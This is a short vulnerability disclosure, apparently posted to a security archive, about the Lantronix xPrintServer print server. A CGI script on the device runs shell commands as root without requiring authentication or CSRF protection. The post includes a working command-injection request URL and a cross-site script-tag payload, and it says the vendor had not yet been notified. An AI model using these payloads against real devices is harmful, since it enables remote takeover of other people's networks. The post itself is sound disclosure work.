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Lantronix xPrintServer Remote Command Execution / CSRF

Lantronix xPrintServer Remote Command Execution / CSRF
Posted Nov 12, 2014
Authored by Jim Bauwens

Lantronix xPrintServer suffers from remote command execution and cross site request forgery vulnerabilities.

tags | exploit, remote, vulnerability, csrf
SHA-256 | ff6469302e547e01bb9030847093051785ad3cc7d9ecacc094da02afa766ef4f

Lantronix xPrintServer Remote Command Execution / CSRF

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Hi,

The Lantronix xPrintServer is a small Linux powered print server for iOS. Main configuration happens through a web interface.

The problem is that the configuration happens through some ‘RPC’ interface; the web interfaces uses AJAX requests to talk to a CGI script that simply executes shell commands given to it. Take a look at the following screenshot:

http://i.imgur.com/gjbZhXZ.png

So.. that’s not really so secure. Launching a request to http://myip/ips?OP=rpc&c=whoami&a=0 tells me that everything is running as root.

To make matters worse:
- The CGI script is accessible without needing to use credentials
- The devices uses bonjour that by defaults registers itself as xprintserver.local in the local network
- The device has no CSRF protection

Example code that allows any website to fetch the Linux version.
<script src="http://xprintserver.local/ips?OP=rpc&c=echo%20var%20version=%27%22%27%20$(uname%20-a)%27%22%27&a=0”></script>

This vulnerability is not reported to the vendor yet (because I need to register talk to their support).

Greetings,
Jim


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